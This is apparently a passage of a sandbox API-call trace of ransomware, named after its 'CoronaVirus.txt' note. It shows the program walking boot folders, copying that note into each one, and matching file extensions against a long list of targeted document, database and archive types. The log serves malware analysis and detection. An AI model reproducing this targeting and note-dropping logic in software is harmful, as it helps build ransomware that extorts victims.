	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.256] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.256] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.256] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.256] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.256] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.256] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.256] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.256] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.256] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.256] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.256] FindClose (in: hFindFile=0x600d10 | out: hFindFile=0x600d10) returned 1
	[0083.256] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0083.256] wcsncmp (_String1="h", _String2=".", _MaxCount=0x1) returned 58
	[0083.256] wcsncmp (_String1="hr", _String2="..", _MaxCount=0x2) returned 58
	[0083.256] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\hr-HR") returned 13
	[0083.256] wcsncmp (_String1="C:\\Boot\\h", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.256] wcsstr (_Str="C:\\Boot\\hr-HR", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.256] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\hr-HR\\CoronaVirus.txt" (normalized: "c:\\boot\\hr-hr\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.259] _alloca_probe () returned 0x4036d0
	[0083.259] GetFullPathNameW (in: lpFileName="C:\\Boot\\hr-HR", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\hr-HR", lpFilePart=0x316583c*="hr-HR") returned 0xd
	[0083.260] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeafac7d7, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600e50
	[0083.260] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.260] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeafac7d7, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.260] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.260] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.260] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.260] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.260] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.260] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.260] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.260] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.260] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.260] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.260] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.260] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.260] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.260] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.260] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.260] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.260] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.260] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.260] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.260] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.260] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.260] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.260] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.260] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.260] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.260] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.261] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.261] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.262] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.262] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.263] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.263] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.263] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.263] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.263] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.263] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.263] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.263] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.263] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.263] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.263] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.263] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.263] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.263] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.263] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeafac7d7, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeafac7d7, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.263] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.263] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.263] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.263] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.263] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.263] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.263] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.263] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.263] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.263] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.263] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.263] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.263] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.263] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.263] malloc (_Size=0x1000) returned 0x2f3a5d8
	[0083.264] _swprintf (in: param_1=0x2f3a5d8, param_2="%s\\%s" | out: param_1="C:\\Boot\\hr-HR\\CoronaVirus.txt") returned 29
	[0083.264] wcsstr (_Str="C:\\Boot\\hr-HR\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.264] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeafac7d7, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeafac7d7, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 0
	[0083.264] FindClose (in: hFindFile=0x600e50 | out: hFindFile=0x600e50) returned 1
	[0083.264] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0083.264] wcsncmp (_String1="h", _String2=".", _MaxCount=0x1) returned 58
	[0083.264] wcsncmp (_String1="hu", _String2="..", _MaxCount=0x2) returned 58
	[0083.264] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\hu-HU") returned 13
	[0083.264] wcsncmp (_String1="C:\\Boot\\h", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.264] wcsstr (_Str="C:\\Boot\\hu-HU", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.264] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\hu-HU\\CoronaVirus.txt" (normalized: "c:\\boot\\hu-hu\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.267] _alloca_probe () returned 0x4036d0
	[0083.267] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\hu-HU", lpFilePart=0x316583c*="hu-HU") returned 0xd
	[0083.267] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeafd29bd, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600b90
	[0083.267] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.267] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeafd29bd, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.267] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.267] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.267] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.267] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.267] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.267] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.267] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.267] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.267] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.267] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.267] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.267] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.267] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.267] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.267] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.267] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.267] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.267] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.267] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.268] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.268] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.269] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
